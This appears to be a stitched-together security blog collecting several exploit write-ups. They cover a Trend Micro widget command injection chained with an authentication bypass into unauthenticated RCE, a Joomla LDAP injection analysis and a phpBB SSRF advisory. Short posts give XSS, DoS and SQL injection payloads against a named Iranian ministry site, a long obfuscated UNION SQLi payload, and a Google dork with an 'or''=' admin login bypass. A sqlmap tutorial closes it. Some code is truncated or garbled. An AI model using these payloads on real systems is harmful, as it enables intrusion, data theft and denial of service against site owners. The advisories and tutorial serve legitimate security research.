One ring rule- RCE on multiple Trend Micro products

Framework’s security has been a known topic for security folks. In fact, we already seen a real impact of single vulnerability within a framework on Apache Struts case. If we consider this risk from the point of products vendor, we could see very similar case. In this article, I will show you how we get RCE on different Trend Micro products because of same codebase used by across the different products.

One ring bug to rule them all – Widgets of Trend Micro’s Products

Most of the Trend Micro’s products have a widgets for administrator web page. Although core system written with Java/.NET, this widget mechanism had implemented with PHP. That means, they somehow need to put PHP interpreter on product whenever they decided to use widgets. Which makes it a perfect spot to what we need: a single code base, exist across the different product and awesome way to implement reliable exploit once we have an vulnerability.

For the reasons that I’ve mentioned above, Mehmet Ince performed a code audit for widget system of Trend Micro OfficeScan product. Result is quite interesting as well as unfortunate for him. He found 6 different vulnerability but only 2 of them is 0day.

Before diving into the vulnerabilities, I want to share details about how that widget library is working.

Start From Beginning

This widget framework have a proxy mechanism. In short, we have proxy_controller.phpendpoint which take user supplied parameters and then call relevant classes based on inputs.

There is two type of major widget type. User generated and defaults widgets.  Following source code taken from proxy_controller.php  file.

    $g_GetPost = array_merge($_GET,$_POST);
    $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);

// ... CODE OMIT ...

$server_module = $g_GetPost['module'];

$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
    mydebug_log("Bad guy come in!!");

$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
    $strProxyDir = PROXY_DIR;

$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
//null byte injection prevents
if( is_string( $myproxy_file ) ) {
    $myproxy_file = str_replace( "\0", '', $myproxy_file );
// does file exist?
    include ($myproxy_file);

// does class exist?
if(! class_exists("WFProxy")){

// ... CODE OMIT ...

$request = new WFProxy($g_GetPost, $wfconf_dbconfig);



The above code block performs the following operations respectively.

  1. Merge GET and POST parameters and then store them at $g_GetPost variable.
  2. Validate $g_GetPost[‘module’] variable.
  3. And then decide the requested widget is user generated or not by looking at $g_GetPost[‘userGenerated’] parameter.
  4. Include the required php class.
  5. As a final step, create a WFProxy instance and then call proxy_exec() and proxy_output() methods.

Basically, we have multiple WFProxy implementation. Which one of these implementation is going to be initiated decided by values taken from client.

Now we are free to dive into technical details of my findings, since we all have how parameter are being passed through different classes.

Vulnerability #1 – Authenticated Command Injection

Following code snipped taken from WFProxy implementation of modTMCSS.

      public function proxy_exec() 
  // localhost, directly launch report.php
  if ($this->cgiArgs['serverid'] == '1')
          if($this->cgiArgs['type'] == "WR"){
              $cmd = "php ../php/lwcs_report.php ";
              $this->AddParam($cmd, "t");
              $this->AddParam($cmd, "tr");
              $this->AddParam($cmd, "ds");
              $this->AddParam($cmd, "m");
              $this->AddParam($cmd, "C");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec lwcs_report.php failed. err = $error";
              $cmd = "php ../php/report.php ";
              $this->AddParam($cmd, "T");
              $this->AddParam($cmd, "D");
              $this->AddParam($cmd, "IP");
              $this->AddParam($cmd, "M");
              $this->AddParam($cmd, "TOP");
              $this->AddParam($cmd, "C");
              $this->AddParam($cmd, "CONSOLE_LANG");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec report.php failed. err = $error";

private function AddParam(&$cmd, $param)
  if (isset($this->cgiArgs[$param]))
    $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";

Obviously, we have potential command injection in here. But we need to answer one question. Can we control $this>cgiArgs array ? Answer is yes. If you go back to the first code blob that I’ve shared before, you will see  $request = new WFProxy($g_GetPost, $wfconf_dbconfig); and $g_GetPost is what we completely can control.

Every single WFProxy class is extending ABaseProxy abstract class.  Here is the first two line of __construct method of base class.

public function __construct($args, $dbconfig){
        $this->cgiArgs = $args;

That means, yes $this>cgiArgs is directly populated from GET and POST parameters.


POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1 Host: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: LANG=en_US; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5; X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098 ctype: application/x-www-form-urlencoded; charset=utf-8 Content-Type: application/x-www-form-urlencoded Content-Length: 6102


Important note: When exec() function is being used with second and third function parameters, you just need to successfully execute first command if you want to use pipe trick.  Our command is going to look like php ../php/lwcs_report.php TOP=2>&1|ping .  Using 2>&1 is the way to fool exec() function because we don’t even have lwsc_report.php script within product 🙇. First part of command returns command not found error all the time.

This vulnerability has been discovered by Steven Seeley from Source Incite. Also patch released by vendor several weeks ago ( According to the advisory, authentication is required to exploit this vulnerability.

Vulnerability #2 #3 #4 – Leaking Private Key & Publicly Accessible Sqlite3 & SSRF

Those vulnerabilities are being also found by another researchers (John Page aka hyp3rlinx). These vulnerabilities are not related with this article’s main focus. Thus I’m just leaving his exploit-db profile link so curious reader may want to read technical details as well. (

Vulnerability #5 – Serve-Side Request Forgery (0day)

Do you remember that I’ve mentioned two type of widget (user generated and system) before ? Trend Micro has one defualt user generated widget implementation within code base. It’s name is modSimple. I believe they left it in project in order to show a way to get started for custom widget implementation.

Here is the proxy_exec() function implementation of this widget.

public function proxy_exec() {
  if( $this->httpObj->Send() == FALSE ) {
    //Handle Timeout issue here
      $this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
      $this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
    $this->errMessage = $this->httpObj->getErrMessage();

It use url parameter directly without validation. As you remember $this>cgiArgs[‘url’] is user controlled variable.


POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 192
Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; cname=dashBoard; theme=default; lastTab=3; trialGroups=newmenu%0D%0AX-Footle:%20bootle
Connection: close


Vulnerability #6 – Authentication bypass (0day)

I mentioned that core system is written with Java/.NET but this widget system is implemented with PHP. So the biggest question is:

How do they know user is authenticated when the request come to the widget ?

The easiest way to answer that question is trace the Burp logs from login to the view dashboard where they are using widgets. Following HTTP POST request got my attention particularly.

POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_expired=no; LANG=en_US; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 59
X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
Content-Type: application/x-www-form-urlencoded


Here is the code snipped taken from that file.


// ... CODE OMIT ...

if( $_REQUEST['act'] == "check" ) {
    if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
      make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");

    // check user state
    $recovered = false;
    if( STANDALONE_WF ) {
      mydebug_log("[LOGIN][check] recover session STANDALONE");
      $recovered = $wfuser->standalone_user_init();
    } else {
      mydebug_log("[LOGIN][check] recover session PRODUCT");
      $recovered = $wfuser->product_user_init();
    if( $recovered == false ) {
      mydebug_log("[LOGIN][check] recover session failed");
    mydebug_log("[LOGIN][check] recover session ok");
     * return the widgets of only first tab
    $ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
    if( $ckresult == false ) {
    } else {
      mydebug_log("[LOGIN][check] check result: ".$ckresult);
      make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);

First of all, we have CSRF validation check in here. But the important things are happening between lines 17-23. $wfuser>standalone_user_init() and $wfuser>product_user_init()are responsible for authenticate user with widget framework. I’m gonna start with first call.

We have 4 internal function call sequence in here.

public function standalone_user_init(){
    mydebug_log("[WFUSER] standalone_user_init()");
        return $this->recover_session_byuid($_COOKIE['userID']);
    mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
    return false;

public function recover_session_byuid($uid){
    mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
    if(false == $this->loaduser_byuid($uid)){
        mydebug_log("[WFUSER] recover_session_byuid() failed");
        return false;
    return $this->recover_session();

public function loaduser_byuid($uid){
    mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
    // load user
    $uinfolist = $this->userdb->get_users($uid);
        return false;
    // no exists
    if(! isset($uinfolist[0])){
        return false;
    // get userinfo
    $this->userinfo = $uinfolist[0];
    return true;

public function get_users($uid = null){
    // specify uid
    $work_uid = $this->valid_uid($uid);
    if($work_uid == null){
    // query string
    $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
    $sqlvalues[':uid'] = $work_uid;
    return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);

The above code block performs the following operations respectively.

  1. Get value from cookie.
  2. Call loaduser_byuid() and pass value to this function.
  3. Call get_users() function with given value. If this function return true, it will return true which will help previous function to continue and call recover_session() function.
  4. get_users() function is executing sql query with only given id.

$wfuser>product_user_init() function sequence is almost same. Only difference between $wfuser>standalone_user_init() and $wfuser>product_user_init() is first one is using user_id second one is using username.

I don’t see authentication in here. hash parameter didn’t even being used. So calling this endpoint with same variable will complete authentication from bottom to top.

One bug to bring them all and in the darkness bind them (Metasploit Module)

Now we have two vulnerability. First one is the command injection which is recently patched, second one is authentication bypass for only widget system which is 0day. Combination of these vulnerabilities gives us an opportunity to execute operating system command without having any credentials.

Here is the metasploit module.(

Same code/vulnerability: Trend Micro InterScan Messaging Security Unauth RCE

One of the difference between InterScan Messaging Security and OfficeScan in terms of this widget framework is the path..!

OfficeScan widget framework path:

IMSVA widget framework path:

Another major difference is about widget authentication. IMSVA have little bit more different approach for talker.php. Here is the difference.

    echo $loginscript;

$wfsession_check = new WFHttpTalk();
    mydebug_log("[product_auth] JSEEEIONID:".$_COOKIE["JSESSIONID"]);
$replycode = $wfsession_check->getCode();
mydebug_log("[product_auth]reply code-->".$replycode);
$replybody = $wfsession_check->getBody();
mydebug_log("[product_auth]reply body-->".$replybody);

if($replycode != 200)
mydebug_log("[product_auth] replycode != 200");
echo $loginscript;

It takes JSESSIONID value from user and use it send HTTP request to the WFSessionCheck.imss where they validate user authentication with core Java application. This may looks like preventing our authentication bypass vulnerability but actually it’s not. Look closer to the above code. You must see a mydebug_log() function call with JSESSIONID if it’s exist in the request.

This log file is publicly accessible through web server.

So we just need to add one extra step to our OfficeScan exploitation. We need to read content of this log file in order to extract a valid JSESSIONID value and then use it for authentication bypass.

Here is the metasploit module demo. (


First of all, I would like to say again, this command injection vulnerability has been patched by Trend Micro for both of these products.  If you are a Trend Micro user or your organisation is using any of these products, asap! Patch your system.

Having same code base on different products is not something bad. I just wanted to point out that one bug within your framework can cause a massive trouble.

Main Credit goes to 

MEHMET INCESteven Seeley, John Page aka hyp3rlinx.



Joomla! 3.7.5 – Takeover with LDAP Injection


Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown LDAP injection vulnerability in the login controller. This one vulnerability could allow remote attackers to leak the super user password with blind injection techniques and to fully take over any Joomla! <= 3.7.5 installation within seconds that uses LDAP for authentication. Joomla! has fixed the vulnerability in the latest version 3.8.

Requirements – Who is affected

Installations with the following requirements are affected by this vulnerability:

This is not a configuration flaw and an attacker does not need any privileges to exploit this vulnerability.

Impact – What can an attacker do

By exploiting a vulnerability in the login page, an unprivileged remote attacker can efficiently extract all authentication credentials of the LDAP server that is used by the Joomla! installation. These include the username and password of the super user, the Joomla! administrator. An attacker can then use the hijacked information to login to the administrator control panel and to take over the Joomla! installation, as well as potentially the web server, by uploading custom Joomla! extensions for remote code execution.

Vulnerability Analysis – CVE-2017-14596

Our code analysis solution RIPS automatically identified the vulnerability that spans over the following nested code lines. First, in the LoginController the Joomla! application receives the user-supplied credentials from the login form.


class LoginController extends JControllerLegacy
    public function login()
    {$app = JFactory::getApplication();$model = $this->getModel('login');
        $credentials = $model->getState('credentials');$app->login($credentials, array('action' => 'core.login.admin'));

The credentials are passed on to the login method which then invokes the authenticatemethod.


class JApplicationCms extends JApplicationWeb
    public function login($credentials, $options = array())
    {$authenticate = JAuthentication::getInstance();
        $authenticate->authenticate($credentials, $options);


class JAuthentication extends JObject
    public function authenticate($credentials, $options = array())
    {$plugin->onUserAuthenticate($credentials, $options, $response);

Based on the plugin that is used for authentication, the authenticate method passes the credentials to the onUserAuthenticate method. If Joomla! is configured to use LDAP for authentication, the LDAP plugin’s method is invoked.


class PlgAuthenticationLdap extends JPlugin
    public function onUserAuthenticate($credentials, $options, &$response)
    {$userdetails = $ldap->simple_search(

In the LDAP plugin, the username credential is embedded into the LDAP query specified in the search_string option. According to the official Joomla! documentation, the search_stringconfiguration option is “a query string used to search for the user, where [search] is directly replaced by search text from the login field”, for example “uid=[search]“. The LDAP query is then passed to the simple_search method of the LdapClient which connects to the LDAP server and performs the ldap_search.


class LdapClient
    public function simple_search($search)
        $results = explode(';', $search);
        foreach ($results as $key => $result)
            $results[$key] = '(' . $result . ')';
        return $this->search($results);

    public function search(array $filters, ...)
        foreach ($filters as $search_filter)
            $search_result = @ldap_search($res, $dn, $search_filter, $attr);}

The root cause of this vulnerability: User input is mixed unsanitized with LDAP query markup that is passed to the sensitive ldap_search function.

Proof Of Concept – Blind LDAP Injection

The lack of input sanitization of the username credential used in the LDAP query allows an adversary to modify the result set of the LDAP search. By using wildcard characters and by observing different authentication error messages, the attacker can literally search for login credentials progressively by sending a row of payloads that guess the credentials character by character.


Each of these payloads yield exactly one out of two possible states which allow an adversary to abuse the server as an Oracle. A filter bypass is necessary for exploitation that is not covered in this blog post. With an optimized version of these payloads one bit per request can be extracted from the LDAP server which results in a highly efficient blind LDAP injection attack.


Vendor released fixed version

Thanks for being here, I hope you may Appreciate, stay tuned for more, be safe keep learning, I am yours one and only @lon3_rang3r

Iran’s Sensing Center, Ministry of Education XSS / SQLi / DoS /CSRF

Vendor Homepage:

1.Cross Site Scripting (XSS):

– “rcid” (GET input) parameter most set to:
– 67″ onmouseover=prompt(916009) bad=”
– or
– 67″ onmouseover=prompt(948428) bad=”

2. Long Password Denial of Service:

=>the atacker may cause the website to become temporarily/indefinitely unavailable or unresponsive.

– Vulnerable password input: “pass11”
– test +1000000 characters.

3.SQL injection:

[+] > “cfnam” parameter was set to “\”
“cmail” parameter was set to “\”
“ctext” parameter was set to “\”
[+] > “rcid” parameter was set to “1′””
[+] > “rcid” parameter was set to “1′””
[+] > “rcid” parameter was set to “1′””
– all GET input


Thanks for being here, stay tune for more, be safe keep learning, I am yours one and only @lon3_rang3r

Joomla Component Ultimate Property Listing 1.0.2 - SQL Injection









======0- -109’+UNION+ALL+SELECT+0x31,0x32,0x33,0x34,0x35,0x36,0x37,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237,0x3238,0x3239,0x3330,0x3331,0x3332,0x3333,0x3334,0x3335,0x3336,0x3337,0x3338,0x3339,0x3430,0x3431,0x3432,0x3433,0x3434,0x3435,0x3436,0x3437,0x3438,0x3439,0x3530,0x3531,0x3532,0x3533,0x3534,0x3535,0x3536,0x3537,0x3538,0x3539,0x3630,0x3631,0x3632,0x3633,0x3634,0x3635,0x3636,0x3637,0x3638,0x3639,0x3730,0x3731,0x3732,0x3733,0x3734,0x3735,0x3736,0x3737,0x3738,0x3739,0x3830,0x3831,0x3832,0x3833,0x3834,0x3835,0x3836,0x3837–+-

Integrated IT Services Pvt. Ltd bypass login admin


# Exploit Title: bypass login admin Integrated IT Services Pvt. Ltd
# Google Dork: inurl:”adminlogin.asp” intext:Site Designed & Developed by Integrated IT Services Pvt. Ltd

Tested site:

Bypass login:

User ==> ‘or”=’
Pass ==> ‘or”=’


phpBB 3.2.0 Server Side Request Forgery

title: Server Side Request Forgery Vulnerability
product: phpBB
vulnerable version: 3.2.0
fixed version: 3.2.1
CVE number:
impact: Medium
found: 2017-05-21


Vendor description:

“phpBB is a free flat-forum bulletin board software solution that can be used
to stay in touch with a group of people or can power your entire website. With
an extensive database of user-created extensions and styles database
containing hundreds of style and image packages to customise your board, you
can create a very unique forum in minutes.”


Business recommendation:

The patch should be installed immediately. Furthermore, SEC Consult recommends
to perform a thorough security review of this software.

Vulnerability overview/description:

The phpBB forum software is vulnerable to the server side request forgery
(SSRF) attack. An attacker is able to perform port scanning, requesting
internal content and potentially attacking such internal services via the
web application’s “Remote Avatar” function.

Proof of concept:

This vulnerability can be exploited by an attacker with a registered account
as low as a normal account. If the web application enables remote avatar, this
feature could be abused by an attacker to perform port scanning. Below is the
example on how the SSRF issue can be exploited.

URL : http://$DOMAIN/ucp.php?i=ucp_profile&mode=avatar
PARAMETER : avatar_remote_url
PAYLOAD : http://$DOMAIN:$PORT/x.jpg

Vulnerable / tested versions:

phpBB version 3.2.0 has been tested. This version was the latest
at the time the security vulnerability was discovered.

Vendor contact timeline:

2017-05-23: Contacting vendor through security bug tracker.
2017-05-29: Vendor confirms the vulnerabilities and working on the fixes.
2017-07-12: Vendor requesting extension for deadline of 5 days from the
latest possible release date.
2017-07-17: Patch released by the vendor.
2017-08-04: Public release of the advisory.


Upgrade to phpBB 3.2.1

For further information see:

Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1


A number of times when discovering “tricky” SQL Injection vulnerabilities during penetration tests, I have taken the approach of exploiting them by writing custom tools.  This usually after spending 5 minutes blindly poking at the vulnerability with sqlmap, and then stopping when it didn’t immediately magic the answer for me.

OK, there have been a number of times where sqlmap has NOT been a suitable tool to use for various reasons, such as very particular filtering or data retrieval requirements, but there has also been a number of cases where I probably gave up on it too fast because I didn’t properly understand how it worked or the extent of its capabilities. And this resulted in me taking much longer than necessary to exploit the vulnerability.

While writing custom tools can certainly be “fun” (for some definitions of “fun”), and while it provides some good coding practice and is an excellent way to ensure that you understand the injection flaw and its exploitation extremely well, its also very time consuming.  Writing your own injection tool often involves redoing a lot of work that has already been done by others – the digital equivalent of reinventing the wheel. You need to put together a capable HTTP sending/receiving framework, you need to parse HTML responses, you need to discover the (database specific) SQL commands that will allow you to retrieve data within the limitations imposed by the vulnerability, you need to be able to extract, group, infer, convert and/or join the retrieved data and you need to mentally map out the logic needed to tie all these parts together and turn it into working code with a usable interface. Its a deceptively large amount of effort, especially when blind injection is involved, and I would consistently underestimate how long it would take to perform.

Given that sqlmap already has all this functionality, being in particular a very effective tool for retrieving data via all types of SQL injection vulnerabilities,  I recently decided that it might be a good idea to spend some of my time to gain an improved understanding of the tool, so that in future I would be able to make more frequent use of it.

For my vulnerability test bed, I used some of the SQL injection labs from the Pentester Labs website, namely the Web for Pentester and Web for Pentester IIexercises, because those particular exercises are freely downloadble, easy to self host and provide some great examples of SQLi vulnerabilities that require use of some of sqlmap’s custom options for exploitation.

This will be the first in a series of posts where I share some of what I learned during this process. This first post will mainly seek to introduce and explain the relevant sqlmap options that I used and outline a process that can be used to get sqlmap to identify an SQL injection flaw that you have discovered through other testing activities.  Future entries will provide examples of actually using this to exploit SQL injection vulnerabilities that sqlmap cannot easily detect on its own.

Note: While I will use their content as examples, the intent here is NOT to explain how to discover or do manual exploitation of the SQLi vulnerabilities in the PentesterLab exercises – because that has already been written up in the PentesterLab courseware available at their web site. If you don’t already know how to do manual discovery of SQLi vulnerabilities, you can check out their site, or any of the many other SQLi references on the Internet to learn this (for the record though, I think the PentesterLab stuff is a fantastic introduction to web application pentesting, and I wish I had access to it when I first started doing webapp testing).

Useful sqlmap options

Before we jump into working through specific examples, I wanted to describe the purpose of some sqlmap options.  More advanced use of sqlmap, in terms of actually tweaking its operation in order to make a difficult injection operate, will require that you actually understand how these options work. In essence, this is the README I wish I had received when I moved beyond the bare basics in my use of the tool, as I definitely would have used sqlmap much more extensively had I understood these particular options as well as I do now. Hopefully you can now benefit from my having learned this the “hard” way, e.g. via trial and error.

Prefix and suffix

The prefix (–prefix) and suffix (–suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection.  So what does this mean exactly?

Take this simple example of an injectible query:

$query = “SELECT first_name, last_name FROM users WHERE name = ‘” . $_GET[“username”] . “‘”;

Whats an example of an injection string that would work here?  Something like the following would work as a simple POC of a union injection.


This closes the single quoted string before our injection point with a single quote (‘), seperates the next statement with a space ( ), adds our injection query of a UNION SELECT with a column count matching that of the existing SELECT query, and then comments out the remainder of the original query to ensure syntactical correctness.  The prefix in this case is the single quote and space (‘ ) used  before the UNION SELECT, and the suffix is the characters (a space, two dashes, another space and the letter “a”) used to comment out the remainder of the original query ( — a).

The following options can be used to configure sqlmap to use this prefix and suffix:

–prefix=”‘ ” –suffix=’ — a’

Now, these particular examples of prefixes and suffixes (or ones that are functionality identical) are ones that sqlmap will be able to figure out itself, so you will rarely need to specify values like this.  However, this hopefully does help you in understanding what these options do, because they are quite important ones to grasp if you want to use sqlmap for more difficult injections. In fact, I put these options first in the list of ones I wanted to describe because as I was working through this process of learning how to make sqlmap identify certain injection vulnerabilities, these were the ones that I used the most.  Also, finally learning what these did was an “AHA!” moment for me, as I have been aware of the options existence for an embarassingly long time without understanding what they did.

Note1: Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates.

Note2: Why the extra space and the “a” character after the comment? Sometimes, inserted comments at the end of an injection are not properly recognised by the database unless there is a whitespace character to follow. Since whitespace characters on their own are sometimes not easily identifiable when displayed on screen (depending on what other text follows) its helpful to include other text afterwards so you can easily see there is something following the comment. You will see sqlmap do this when you look at some of the injection strings it uses.

Specifying Injection technique and tests

There are a number of different SQL injection techniques available for use in sqlmap, which are configured via the –technique option, and sqlmap comes with a number of different in built tests for exploiting vulnerabilities using those techniques. By default, sqlmap will enable all possible techniques when trying to identify an injection vulnerability, and will run all associated tests that meet the configured risk and level settings (discussed later).

If you have manually discovered a SQL injection flaw in a website and want to use sqlmap to exploit the vulnerability, you may already know the correct technique, as well as the most appropriate payload configuration to use, and this is where specifying these options manually can be useful. Manual specification of these settings helps prevents less effective techniques from being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap during its detection period.

A brief listing of the injection techniques available for use by sqlmap is listed below in order of preference. You can select the appropriate ones by using the –technique switch followed by a listing of the letters associated with the method/s you wish to use.  The default is all options, (e.g. “–technique=BEUSTQ”).  The descriptions provided below are only intended as high level reminders of each technique

  • Stacked queries (S) – This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data (as opposed to performing other operations such as INSERTS) you may want to use another technique such as Unions.
  • Union query based (U) – This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query (and hence your UNION) in the page response for this method to be usable.
  • Error based (E) – This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses.
  • Inline queries (I) – This technique uses inline database queries to retrieve data – essentially a query embedded within another query like this “SELECT (SELECT password from user) from product”.  I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap.
  • Boolean blind (B) – This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result (True or False) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries (e.g. a different page response only resulting from an invalid database query doesn’t count here).  This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference.
  • Time based blind (T) – This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means.

Selecting a particular technique, or set of techniques will limit the payloads that sqlmap will use to those associated with that/those technique/s. It is also possible to further filter the attempted payloads via the –test-filter and –test-skip options to target payloads that contain (or do not contain) particular text within their name.

If, for example, you know your target SQLi vulnerability exists within the ‘ORDER BY’ clause of a query, why not filter for only these test payloads by using:

–test-filter=’ORDER BY’

In addition, if you write your own custom test payload for an injection, you can use only that particular payload by setting a filter for a unique string you have added to the name.

Note: To have the best chance of being able to configure sqlmap to detect and exploit a given difficult vulnerability, its important that you properly understand the type of injection you wish to use and the requirements for its exploitation. This is because for injection vulnerabilities that sqlmap cannot find on its own you have to be able to create an effective POC exploit manually to use as a basis for correctly setting sqlmap’s configuration . Hopefully this brief summary of the available injection types is appropriately clear and detailed in order to provide a sufficient refresher, but if you are unclear on these techniques you may wish to do further research on any techniques you are unfamiliar with before continuing.

Risks and levels

The risks and levels settings in sqlmap will control which test payloads will be attempted during the detection run to identify an SQLi vulnerability. Each test payload has a configured level and risk setting, and if the configured threshold is not met for that payload during a particular run of the tool, that particular payload will not be used.

Risk in sqlmap refers to the risk of a failure, potential database damage or error in data retrieval associted with using an associated payload.  Available risk settings range from 1 to 3, with 1 (the lowest level) being the default.

Level refers to the number of requests required to use that associated payload for exploitation. Available level settings range from 1 to 5, with 1 again the default.

A common recommendation given in various usage guides is to increase the risk and level settings if sqlmap does not identify a vulnerability in its default configuration, however in my experience for trickier injection vulnerabilities this change alone is often not sufficient.

Detection options

Using the boolean blind injection technique will often require that you tell sqlmap what to look for in the HTTP response content in order to distinguish a True condition from a False. There are a number of options in sqlmap that allow you to configure this behavior, such as –string and –not-string (configuring strings that should appear in True and False responses respectively), –regexp (allowing you to set a regular expression to match to determine the True condition), –code (provide a HTTP status code to match True), –text-only (compare responses based on text content) and –titles (compare responses based on page title).

A neat thing you can do with the –string and –not-string settings is to use Python hexadecimal backslash quoting to do multi line matching. Here is an example showing how to match a section of HTML that includes newlines (\x0a) and tabs (\x09).


When your detection needs are more complex than what can be satisfied by the above options, there is also another sqlmap feature that with a little bit of imagination you can abuse in order to perform more complex comparative logic, which leads us to…

Second order injection

sqlmap contains a –second-order option, which is intended to be used to enable exploitation of second order SQL injection vulnerabilities, where the results of an SQL injection need to be retrieved from a different URL than that is used to actually perform the injection.  The option allows you to provide a single URL which will be requested by sqlmap after each injection payload is sent, and then parsed as per normal configured sqlmap behavior.

By setting the –second-order option to point to your own locally run custom forwarding and parsing server, you can make use of this option to return arbitrary content to sqlmap, perhaps based on data you have automatically retrieved from the target site. This capability can be used to do things such as retrieve data from a dynamically changing second order URL at the target site, or to retrieve content from the remote site and perform complex parsing or logic checks on it, passing through to sqlmap something that it can process using its inbuilt functionality.

This link contains a modifiable second-order forwarding server that wrote in Python to work with sqlmap, which can be run locally from the command line.  It starts its own http server locally on the loopback address, and when it receives a request from sqlmap it can request data from another website, then return the (optionally) parsed data back to sqlmap.  It is based on Python classes that wrote specifically to facilitate reuse and modification, so if you can code simple Python you can change it to do any parsing or fetching job you wish.

Tamper scripts

Tamper scripts in sqlmap allow you to make programmatic changes to all the request payloads sent by sqlmap, in order to facilitate the bypass of web application firewalls and other filters.  If you are dealing with filters that prohibit, for example, all whitespace within an injection string, there is a tamper script configured that can help (–tamper=space2comment).  A reasonably up to date listing of available tamper scripts and their purpose is available here.

Custom written test payloads

sqlmap comes configured with a large number of test payloads that it can use to perform injections. These are defined within xml files named after the associated injection technique stored in xml/payloads under the sqlmap root path.  You can add your own payloads into these files by copying the xml nodes of an existing test (one thats simlar to the one you want to create) and modifying it as required.  There is an example of doing this here, and a specific example of how to use custom test payloads to exploit a boolean blind issue inside the ORDER BY clause will be provided in a future post.

Verbosity and debugging injection checks

One extremely useful option for troubleshooting sqlmap’s detection process is the output verbosity option.  The specific setting I use most frequently when getting an injection working is -v3, which will show each raw payload that is sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your own POC SQL injection string developed during discovery of the vulnerability, to determine where sqlmap is incorrectly diverging.  If you need to use tamper scripts as well to bypass a filter, you can try verbosity level -v4 to also see the HTTP requests sent, as -v3 verbosity will not show the affect of tamper scripts.

